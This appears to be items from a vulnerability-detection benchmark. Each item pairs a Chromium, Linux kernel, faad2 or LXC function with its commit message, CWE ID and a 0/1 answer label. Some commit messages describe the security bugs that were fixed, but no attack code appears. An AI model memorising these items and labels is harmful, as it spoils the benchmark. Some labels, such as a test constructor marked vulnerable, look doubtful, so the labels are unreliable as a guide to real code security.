Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: DefaultWebClientState IsDefaultProtocolClient(const std::string& protocol) {
return GetDefaultWebClientStateFromShellUtilDefaultState(
ShellUtil::GetChromeDefaultProtocolClientState(
base::UTF8ToUTF16(protocol)));
}
Commit Message: Validate external protocols before launching on Windows
Bug: 889459
Change-Id: Id33ca6444bff1e6dd71b6000823cf6fec09746ef
Reviewed-on: https://chromium-review.googlesource.com/c/1256208
Reviewed-by: Greg Thompson <grt@chromium.org>
Commit-Queue: Mustafa Emre Acer <meacer@chromium.org>
Cr-Commit-Position: refs/heads/master@{#597611}
CWE ID: CWE-20
| 0
| 144,668
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: P2PQuicStreamTest()
: connection_(
new quic::test::MockQuicConnection(&connection_helper_,
&alarm_factory_,
quic::Perspective::IS_CLIENT)),
session_(connection_) {
session_.Initialize();
stream_ = new P2PQuicStreamImpl(kStreamId, &session_);
stream_->SetDelegate(&delegate_);
session_.ActivateStream(std::unique_ptr<P2PQuicStreamImpl>(stream_));
connection_helper_.AdvanceTime(quic::QuicTime::Delta::FromSeconds(1));
}
Commit Message: P2PQuicStream write functionality.
This adds the P2PQuicStream::WriteData function and adds tests. It also
adds the concept of a write buffered amount, enforcing this at the
P2PQuicStreamImpl.
Bug: 874296
Change-Id: Id02c8aa8d5368a87bb24a2e50dab5ef94bcae131
Reviewed-on: https://chromium-review.googlesource.com/c/1315534
Commit-Queue: Seth Hampson <shampson@chromium.org>
Reviewed-by: Henrik Boström <hbos@chromium.org>
Cr-Commit-Position: refs/heads/master@{#605766}
CWE ID: CWE-284
| 1
| 172,264
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int HTMLSelectElement::nextSelectableListIndex(int startIndex) const
{
return nextValidIndex(startIndex, SkipForwards, 1);
}
Commit Message: SelectElement should remove an option when null is assigned by indexed setter
Fix bug embedded in r151449
see
http://src.chromium.org/viewvc/blink?revision=151449&view=revision
R=haraken@chromium.org, tkent@chromium.org, eseidel@chromium.org
BUG=262365
TEST=fast/forms/select/select-assign-null.html
Review URL: https://chromiumcodereview.appspot.com/19947008
git-svn-id: svn://svn.chromium.org/blink/trunk@154743 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-125
| 0
| 103,084
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: uint8_t *faad_getbitbuffer(bitfile *ld, uint32_t bits
DEBUGDEC)
{
int i;
unsigned int temp;
int bytes = bits >> 3;
int remainder = bits & 0x7;
uint8_t *buffer = (uint8_t*)faad_malloc((bytes+1)*sizeof(uint8_t));
for (i = 0; i < bytes; i++)
{
buffer[i] = (uint8_t)faad_getbits(ld, 8 DEBUGVAR(print,var,dbg));
}
if (remainder)
{
temp = faad_getbits(ld, remainder DEBUGVAR(print,var,dbg)) << (8-remainder);
buffer[bytes] = (uint8_t)temp;
}
return buffer;
}
Commit Message: Fix a couple buffer overflows
https://hackerone.com/reports/502816
https://hackerone.com/reports/507858
https://github.com/videolan/vlc/blob/master/contrib/src/faad2/faad2-fix-overflows.patch
CWE ID: CWE-119
| 0
| 88,358
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int ip_vs_del_service(struct ip_vs_service *svc)
{
if (svc == NULL)
return -EEXIST;
/*
* Unhash it from the service table
*/
write_lock_bh(&__ip_vs_svc_lock);
ip_vs_svc_unhash(svc);
/*
* Wait until all the svc users go away.
*/
IP_VS_WAIT_WHILE(atomic_read(&svc->usecnt) > 1);
__ip_vs_del_service(svc);
write_unlock_bh(&__ip_vs_svc_lock);
return 0;
}
Commit Message: ipvs: Add boundary check on ioctl arguments
The ipvs code has a nifty system for doing the size of ioctl command
copies; it defines an array with values into which it indexes the cmd
to find the right length.
Unfortunately, the ipvs code forgot to check if the cmd was in the
range that the array provides, allowing for an index outside of the
array, which then gives a "garbage" result into the length, which
then gets used for copying into a stack buffer.
Fix this by adding sanity checks on these as well as the copy size.
[ horms@verge.net.au: adjusted limit to IP_VS_SO_GET_MAX ]
Signed-off-by: Arjan van de Ven <arjan@linux.intel.com>
Acked-by: Julian Anastasov <ja@ssi.bg>
Signed-off-by: Simon Horman <horms@verge.net.au>
Signed-off-by: Patrick McHardy <kaber@trash.net>
CWE ID: CWE-119
| 0
| 29,246
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void WebRuntimeFeatures::EnableWebXR(bool enable) {
RuntimeEnabledFeatures::SetWebXREnabled(enable);
}
Commit Message: Remove RequireCSSExtensionForFile runtime enabled flag.
The feature has long since been stable (since M64) and doesn't seem
to be a need for this flag.
BUG=788936
Change-Id: I666390b869289c328acb4a2daa5bf4154e1702c0
Reviewed-on: https://chromium-review.googlesource.com/c/1324143
Reviewed-by: Mike West <mkwst@chromium.org>
Reviewed-by: Camille Lamy <clamy@chromium.org>
Commit-Queue: Dave Tapuska <dtapuska@chromium.org>
Cr-Commit-Position: refs/heads/master@{#607329}
CWE ID: CWE-254
| 0
| 154,705
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool DevToolsWindow::PreHandleGestureEvent(
WebContents* source,
const blink::WebGestureEvent& event) {
return blink::WebInputEvent::IsPinchGestureEventType(event.GetType());
}
Commit Message: [DevTools] Use no-referrer for DevTools links
Bug: 732751
Change-Id: I77753120e2424203dedcc7bc0847fb67f87fe2b2
Reviewed-on: https://chromium-review.googlesource.com/615021
Reviewed-by: Andrey Kosyakov <caseq@chromium.org>
Commit-Queue: Dmitry Gozman <dgozman@chromium.org>
Cr-Commit-Position: refs/heads/master@{#494413}
CWE ID: CWE-668
| 0
| 151,070
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int __init crc32_mod_init(void)
{
return crypto_register_shash(&alg);
}
Commit Message: crypto: prefix module autoloading with "crypto-"
This prefixes all crypto module loading with "crypto-" so we never run
the risk of exposing module auto-loading to userspace via a crypto API,
as demonstrated by Mathias Krause:
https://lkml.org/lkml/2013/3/4/70
Signed-off-by: Kees Cook <keescook@chromium.org>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
CWE ID: CWE-264
| 0
| 47,195
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static struct usb_request *dwc3_gadget_ep_alloc_request(struct usb_ep *ep,
gfp_t gfp_flags)
{
struct dwc3_request *req;
struct dwc3_ep *dep = to_dwc3_ep(ep);
req = kzalloc(sizeof(*req), gfp_flags);
if (!req)
return NULL;
req->epnum = dep->number;
req->dep = dep;
dep->allocated_requests++;
trace_dwc3_alloc_request(req);
return &req->request;
}
Commit Message: usb: dwc3: gadget: never call ->complete() from ->ep_queue()
This is a requirement which has always existed but, somehow, wasn't
reflected in the documentation and problems weren't found until now
when Tuba Yavuz found a possible deadlock happening between dwc3 and
f_hid. She described the situation as follows:
spin_lock_irqsave(&hidg->write_spinlock, flags); // first acquire
/* we our function has been disabled by host */
if (!hidg->req) {
free_ep_req(hidg->in_ep, hidg->req);
goto try_again;
}
[...]
status = usb_ep_queue(hidg->in_ep, hidg->req, GFP_ATOMIC);
=>
[...]
=> usb_gadget_giveback_request
=>
f_hidg_req_complete
=>
spin_lock_irqsave(&hidg->write_spinlock, flags); // second acquire
Note that this happens because dwc3 would call ->complete() on a
failed usb_ep_queue() due to failed Start Transfer command. This is,
anyway, a theoretical situation because dwc3 currently uses "No
Response Update Transfer" command for Bulk and Interrupt endpoints.
It's still good to make this case impossible to happen even if the "No
Reponse Update Transfer" command is changed.
Reported-by: Tuba Yavuz <tuba@ece.ufl.edu>
Signed-off-by: Felipe Balbi <felipe.balbi@linux.intel.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-189
| 0
| 88,656
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int lxc_attach_run_shell(void* payload)
{
uid_t uid;
struct passwd *passwd;
char *user_shell;
/* ignore payload parameter */
(void)payload;
uid = getuid();
passwd = getpwuid(uid);
/* this probably happens because of incompatible nss
* implementations in host and container (remember, this
* code is still using the host's glibc but our mount
* namespace is in the container)
* we may try to get the information by spawning a
* [getent passwd uid] process and parsing the result
*/
if (!passwd)
user_shell = lxc_attach_getpwshell(uid);
else
user_shell = passwd->pw_shell;
if (user_shell)
execlp(user_shell, user_shell, (char *)NULL);
/* executed if either no passwd entry or execvp fails,
* we will fall back on /bin/sh as a default shell
*/
execlp("/bin/sh", "/bin/sh", (char *)NULL);
SYSERROR("failed to exec shell");
return -1;
}
Commit Message: attach: do not send procfd to attached process
So far, we opened a file descriptor refering to proc on the host inside the
host namespace and handed that fd to the attached process in
attach_child_main(). This was done to ensure that LSM labels were correctly
setup. However, by exploiting a potential kernel bug, ptrace could be used to
prevent the file descriptor from being closed which in turn could be used by an
unprivileged container to gain access to the host namespace. Aside from this
needing an upstream kernel fix, we should make sure that we don't pass the fd
for proc itself to the attached process. However, we cannot completely prevent
this, as the attached process needs to be able to change its apparmor profile
by writing to /proc/self/attr/exec or /proc/self/attr/current. To minimize the
attack surface, we only send the fd for /proc/self/attr/exec or
/proc/self/attr/current to the attached process. To do this we introduce a
little more IPC between the child and parent:
* IPC mechanism: (X is receiver)
* initial process intermediate attached
* X <--- send pid of
* attached proc,
* then exit
* send 0 ------------------------------------> X
* [do initialization]
* X <------------------------------------ send 1
* [add to cgroup, ...]
* send 2 ------------------------------------> X
* [set LXC_ATTACH_NO_NEW_PRIVS]
* X <------------------------------------ send 3
* [open LSM label fd]
* send 4 ------------------------------------> X
* [set LSM label]
* close socket close socket
* run program
The attached child tells the parent when it is ready to have its LSM labels set
up. The parent then opens an approriate fd for the child PID to
/proc/<pid>/attr/exec or /proc/<pid>/attr/current and sends it via SCM_RIGHTS
to the child. The child can then set its LSM laben. Both sides then close the
socket fds and the child execs the requested process.
Signed-off-by: Christian Brauner <christian.brauner@canonical.com>
CWE ID: CWE-264
| 0
| 73,257
|
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